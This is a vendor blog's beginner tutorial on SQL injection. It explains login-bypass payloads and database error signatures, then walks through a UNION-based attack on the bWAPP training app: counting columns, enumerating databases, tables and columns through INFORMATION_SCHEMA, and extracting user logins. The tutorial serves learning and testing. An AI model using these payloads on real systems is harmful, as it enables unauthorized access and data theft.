Dear readers of our blog, we'd like to recommend you to visit the main page of our website, where you can learn about our product SQLS*Plus and its advantages.
 
SQLS*Plus - best SQL Server command line reporting and automation tool! SQLS*Plus is several orders of magnitude better than SQL Server sqlcmd and osql command line tools.
 

REQUEST COMPLIMENTARY SQLS*PLUS LICENCE

Enteros UpBeat offers a patented database performance management SaaS platform. It proactively identifies root causes of complex revenue-impacting database performance issues across a growing number of RDBMS, NoSQL, and deep/machine learning database platforms. We support Oracle, SQL Server, IBM DB2, MongoDB, Casandra, MySQL, Amazon Aurora, and other database systems.

SQL injection vulnerability: SQLi basics, simple injection with UNION

8 June 2020

SQL Injection

SQL injection is a dangerous vulnerability that occurs due to insufficient filtering of data entered by the user, which allows you to modify queries to databases.

The result of the SQL injection is access to data that in normal conditions the user would not have access to.

SQL injection for beginners

Usually SQLi is found in web applications. But in fact, SQL injection can be subject to any program that uses different databases (not only MySQL/MariaDB).

As an example, consider an application that addresses a database with the following query:

SELECT `name`, `status`, `books` FROM `members` WHERE name = 'Demo' AND password ='111'

The request is similar to natural language (English) and its meaning is quite easy to interpret:

Select (SELECT) the `name`, `status`, `books` fields from (FROM) the `members` table where (WHERE) the value of the name field is equal to Demo (name = ‘Demo’) and (AND) the value of the password field is equal to 111 (password = ‘111’).

This query causes a table bypass, which results in a comparison with each row, and if the condition name = ‘Demo’ AND password = ‘111’ is true for any row, then it gets to the results. In this case, the results will only come if both the username and password are exactly the same as those stored in the table.

In this case, the application gets the values “Demo” and “111” from the user – for example, in the form of login to the site.

Suppose that the user has entered such a line instead of Demo:

Demo' --

Then the query to the database will look like:

SELECT `name`, `status`, `books` FROM `members` WHERE name = 'Demo' -- ' AND password ='111'

Two lines (–) – means a comment to the end of a line, i.e. everything behind them is no longer counted. Consequently, the part ‘ AND password = ‘111’ disappears from the expression.

Since a closing quote was left in the comment, it was also entered with a username, so as not to break the syntax or cause an error, the result was actually the following query to the database:

SELECT `name`, `status`, `books` FROM `members` WHERE name = 'Demo'

In it, the logic of the program’s work laid down by the developers was broken. That is, now the table is searched only by name. And if the name matches, the string gets to the results regardless of the password entered. This is an example of SQL injection operation. In the real situation, such an error can be used on a website to login under an administrator account, for which it is enough to know only the name, and the password becomes unnecessary.

Besides authentication traversal, SQL injection is used to extract information from databases, call denial of service (DoS), exploit other vulnerabilities (like XSS), etc.

Operation of SQL injection

Each time with any application, wherever the SQL injection is used, the following three basic implementation rules are used:

  • Balancing
  • Introduction
  • Commenting

The balance is that the number of opening and closing quotes and brackets must be the same so as not to cause a syntax error. When investigating an error, you need to determine which quotes and brackets are used and if so, which ones.

The introduction is to add a query depending on the information we want to get.

Commenting allows us to cut off the final part of the query so that it does not break the syntax.

Comments in MySQL start with symbols:

  • #
  • /*

That is, instead of

Demo' --

could be entered

Demo' #

Note that after the double line, a space is required, and after # the space is optional.

You can continue to change the query logic by inserting a space as the username:

Demo' OR 1 --

you will be prompted

SELECT `name`, `status`, `books` FROM `members` WHERE name = ' Demo' OR 1 -- ' AND password ='111'

Let’s remove the commented part:

SELECT `name`, `status`, `books` FROM `members` WHERE name = ' Demo' OR 1

We use logical OR (OR). Logical OR returns true if at least one of the expressions is true. In this case, the second expression 1 is always true. Consequently, the results will include all table entries at all. In a real web application it is possible to achieve a result when all users’ data will be output, despite the fact that the attacker did not know neither their logins nor passwords.

In our example, after entering the Demo value, we set a single quote (‘) so that the query remains valid from the syntax point of view. The query can be written in many different ways, for example, all the following forms return the same result.

For queries with a number:

SELECT * FROM table_name WHERE id=1
SELECT * FROM table_name WHERE id='1'
SELECT * FROM table_name WHERE id="1"
SELECT * FROM table_name WHERE id=(1)
SELECT * FROM table_name WHERE id=('1')
SELECT * FROM table_name WHERE id=("1")
For requests with a line:
SELECT * FROM table_name WHERE id='1'
SELECT * FROM table_name WHERE id="1"
SELECT * FROM table_name WHERE id=('1')
SELECT * FROM table_name WHERE id=("1")
Depending on how the query is drafted, you should use the corresponding paired closing characters to avoid syntax violations. For example, if the query were written in this way (it uses double quotes instead of single quotes):
SELECT * FROM `members` WHERE name = "$name" AND password = "$password"
that user name
Demo' #
wouldn’t have taken action and caused a mistake. To indicate the end of the entered name you need to use the closing double quote:
Demo" #
For this query (single quotes and parentheses are used):
SELECT * FROM `members` WHERE name = ('$name') AND password = ('$password')
you also need to close the parentheses, i.e. to operate an SQL injection you need to enter something like
Demo') #

The main signs of the presence of SQL injection is an error output or no output when entering single or double quotes. These characters can cause an error in the application itself, so to be sure that you are dealing with the SQL injection, and not with another error, you need to study the output message.

The list of DBMS and the variants of errors they display

Style of MySQL errors:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Error in MSSQL ASPX:

Server Error in '/' Application

Error in MSAccess (Apache PHP):

Fatal error: Uncaught exception 'com_exception' with message Source: Microsoft JET Database Engine

Error in MSAccesss (IIS ASP):

Microsoft JET Database Engine error '80040e14'

Error in Oracle:

ORA-00933: SQL command not properly ended

Error in ODBC:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

Error in PostgreSQL:

PSQLException: ERROR: unterminated quoted string at or near "'" Position: 1
или
Query failed: ERROR: syntax error at or near
"'" at character 56 in /www/site/test.php on line 121.

Error in MS SQL Server:

Microsoft SQL Native Client error %u201880040e14%u2019
Unclosed quotation mark after the character string
The DBMS information is also used for determining which characters or character sequences can be used as comments.

A practical example of simple SQL injection

For training I will use bWAPP (link to description and installation process).

Select the “SQL Injection (GET/Search)”/ bug.

We are expected to enter the title of the movie, enter “Iron Man” in the search:

A practical example of simple SQL injection

Next, let’s run a series of tests.

Enter

Iron Man'
Result
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
You have an error in your SQL syntaxThis indicates that single quotes are not filtered and that double quotes are not used to frame the entered strings.
Enter
Iron Man"
Result

I.e. nothing was found, this indicates that double quotes are not filtered either (otherwise the film would have been found by Iron Man request). It also indicates that single quotes are used to frame the entered strings.

simple SQL injectionBased on the information obtained, we form a row to display all table entries:

Iron Man' OR 1 #

Result:

we form a row to display all table entries

Determine the number of columns in a table using ORDER BY

To create more complex injection commands, you need to know how many columns are in the table.

ORDER BY specifies the sorting of data received from the table. You can specify sorting by column name, or you can specify sorting by column number. Moreover, if there is no column with such number, an error will be shown.

Consistently try the following rows (AND 0 is used to suppress unnecessary output):

Iron Man' AND 0 ORDER BY 1 #
Iron Man' AND 0 ORDER BY 2 #
Iron Man' AND 0 ORDER BY 3 #
………………………
………………………
………………………
Iron Man' AND 0 ORDER BY 7 #
For
Iron Man' AND 0 ORDER BY 8 #
the following result was obtained:
Error: Unknown column '8' in 'order clause'
Determine the number of columns in a table using ORDER BY

This means that the eighth column is missing, i.e. there are only seven columns in the table.

Another way to find the number of columns is to use the same UNION. Let’s add the number of columns with the ladder:

Iron Man' AND 0 UNION SELECT 1 #
Iron Man' AND 0 UNION SELECT 1,2 #
………………………
………………………
………………………
Iron Man' AND 0 UNION SELECT 1,2,3,4,5,6,7 #
They’ll all cause the same error:
error: The used SELECT statements have a different number of columns
The used SELECT statements have a different number of columns

Do so until the error message disappears.

Combining requests with UNION SELECT

UNION allows you to combine results in one of several SELECT expressions.

Construct our query with UNION:

Iron Man' AND 0 UNION SELECT 1,2,3,4,5,6,7 #

Combining requests with UNION SELECT

As I said, the number of fields must be the same in both SELECTs, but what is not very important in these fields. You can, for example, just prescribe numbers – and they will be printed. You can prescribe NULL – then nothing will be printed instead of the field.

Note that the content of some UNION SELECT 2,3,4,5 fields is displayed. You can set functions instead of numbers.

What to write in the SELECT

There are some functions and variables that can be written directly to UNION:

Variable / FunctionConclusion
@@hostnameCurrent hostname
@@tmpdirDirectory for temporary files
@@datadirDirectory with databases
@@versiondatabase version
@@basedirBase directory
user()Current user
database()Current database
version()Version
schema()Current database
UUID()System UUID key
current_user()Current user
current_userCurrent user
system_user()Current system user
session_user()Session user
@@GLOBAL.have_symlinkChecking if symlinks are on or off
@@GLOBAL.have_sslVerification whether SSL is available or not

 

Enter to get the database name:

Iron Man' AND 0 UNION SELECT 1,database(),3,4,5,6,7 #

What to write in the SELECT

INFORMATION_SCHEMA Database

INFORMATION_SCHEMA is always present in the MySQL / MariaDB database list. This is a service database that provides access to database metadata, information about the MySQL server. Simply put, it contains information about all other databases that the MySQL / MariaDB server supports. This information includes the names of databases and tables.

For example, the next query will display the names of all databases present on the server:

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

  • SELECT and FROM are already familiar elements of the database query language;
  • SCHEMA_NAME – the name of the requested column;
  • INFORMATION_SCHEMA – name of the database to which the query is made;
  • SCHEMATA – the name of the table where the requested column is searched for.

Getting a list of all databases on the server through SQL injection

Using UNION, we can query the INFORMATION_SCHEMA database. For example, to output the contents of the SCHEMA_NAME field (the names of the databases present on the server), we can make the following entry approximately:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

Getting a list of all databases on the server through SQL injection

Sometimes a web application script that is subject to SQL injection outputs only one entry. In our example, this is not the case, but if, for example, entering

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

Sometimes a web application script that is subject to SQL injection outputs only one entry

output only one record at a time, you could use LIMIT to view all tables. For example, for the first row:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 #

For the second line:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 #

For the third line:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1 #

For the fourth line:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1 #

etc. It is possible to use more complex syntax using WHERE and functions. For example, the next input will show you the names of the tables in the current database:

Iron Man' AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #

Once you have received the names of the database tables, you can go on and get the names of the columns:

The desired query:

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='tablenamehere'

Where instead of table name here you have to substitute a table name.

For example, we got the following names of the tables present in the database:

  • blog
  • heroes
  • movies
  • users
  • visitors

Then to get the column names in the blog table you need to generate a query:

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='blog'

With regard to our vulnerability, we get input:

Iron Man' AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME='blog' #

Getting a list of all databases on the server through SQL injection

Here you can also use LIMIT.

Extracting data from a table using an SQL injection

Now that we know the database name, table name and field name, we can extract data from an arbitrary column. For example, input:

For example, the following input for our vulnerability means extracting the contents of the login column from the users table from the current database:

Iron Man' AND 0 UNION SELECT 1,login,3,4,5,6,7 FROM users #

Extracting data from a table using an SQL injection

What is SQL Injection? SQL Injection Tutorial. Cybersecurity Training (video)

 
Tags: ,

MORE NEWS

 

Preamble​​NoSql is not a replacement for SQL databases but is a valid alternative for many situations where standard SQL is not the best approach for...

Preamble​​MongoDB Conditional operators specify a condition to which the value of the document field shall correspond.Comparison Query Operators $eq...

5 Database management trends impacting database administrationIn the realm of database management systems, moreover half (52%) of your competitors feel...

The data type is defined as the type of data that any column or variable can store in MS SQL Server. What is the data type? When you create any table or...

Preamble​​MS SQL Server is a client-server architecture. MS SQL Server process starts with the client application sending a query.SQL Server accepts,...

First the basics: what is the master/slave?One database server (“master”) responds and can do anything. A lot of other database servers store copies of all...

Preamble​​Atom Hopper (based on Apache Abdera) for those who may not know is an open-source project sponsored by Rackspace. Today we will figure out how to...

Preamble​​MongoDB recently introduced its new aggregation structure. This structure provides a simpler solution for calculating aggregated values rather...

FlexibilityOne of the most advertised features of MongoDB is its flexibility.  Flexibility, however, is a double-edged sword. More flexibility means more...

Preamble​​SQLShell is a cross-platform command-line tool for SQL, similar to psql for PostgreSQL or MySQL command-line tool for MySQL.Why use it?If you...

Preamble​​Writing an application on top of the framework on top of the driver on top of the database is a bit like a game on the phone: you say “insert...

Preamble​​Oracle Coherence is a distributed cache that is functionally comparable with Memcached. In addition to the basic function of the API cache, it...

Preamble​​IBM pureXML, a proprietary XML database built on a relational mechanism (designed for puns) that offers both relational ( SQL / XML ) and...

  What is PostgreSQL array? In PostgreSQL we can define a column as an array of valid data types. The data type can be built-in, custom or enumerated....

Preamble​​If you are a Linux sysadmin or developer, there comes a time when you need to manage an Oracle database that can work in your environment.In this...

Preamble​​Starting with Microsoft SQL Server 2008, by default, the group of local administrators is no longer added to SQL Server administrators during the...